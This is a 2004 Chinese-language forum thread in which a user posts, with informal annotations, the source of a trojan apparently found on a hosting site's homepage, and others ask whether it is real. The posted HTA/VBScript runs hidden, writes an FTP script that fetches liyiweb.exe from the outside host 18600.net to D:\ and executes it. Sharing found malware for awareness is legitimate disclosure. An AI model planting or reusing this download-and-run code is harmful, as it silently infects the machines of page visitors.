www.jgwy.net首页发现的木马源码如下:

Philer · 发表于 2004 年 7 月 19 日 14:22:38

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

您需要登录才可以下载或查看，没有账号？注册

×

<html>
<HTA:APPLICATION caption="no" border="none" showInTaskBar="no" windowState="minimize" width=0 height=0>
<object id='wsh'{这个就是Windows Script Host,我说的不知道是不是专业?} classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B' width=0 height=0></object>
<script language="VBScript">这是VB脚本语言(笑话,地球人都知道)
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject")这里就是我们用ASP的FSO,.这个语句的意思是创建(文件对象读写)
Set t = fs.CreateTextFile("liyiweb.txt",True)
t.WriteLine("open 18600.net")
t.WriteLine("ftp")
t.WriteLine("any@any.net")这里是匿名上了一个叫18600.net的FTP服务器
t.WriteLine("bin")
t.WriteLine("lcd d:\")
t.WriteLine("get liyiweb.exe")下载一个文件到了D盘.如果成功了,就恭喜了,你中了
t.WriteLine("bye")
t.Close
wsh.Run "ftp -s:liyiweb.txt",0,true
wsh.Run "d:\liyiweb.exe"
上头的参数可都是Run啊~运行起来了.

window.close
</script>
</html>

qybx · 发表于 2004 年 7 月 20 日 01:55:09

不会吧...这是真的嘛..??

lgp7226 · 发表于 2004 年 7 月 20 日 08:41:34

是不是真的啊？

molicn · 发表于 2004 年 7 月 20 日 10:45:37

是的１！！真的

显示全部楼层 · 发表于 2004 年 7 月 20 日 20:53:02

提示: 作者被禁止或删除内容自动屏蔽

账号		自动登录	找回密码
密码			注册

binglian2008 该用户已被删除	发表于 2004 年 7 月 20 日 20:53:02 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
binglian2008 该用户已被删除	Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
	回复顶踩使用道具举报显身卡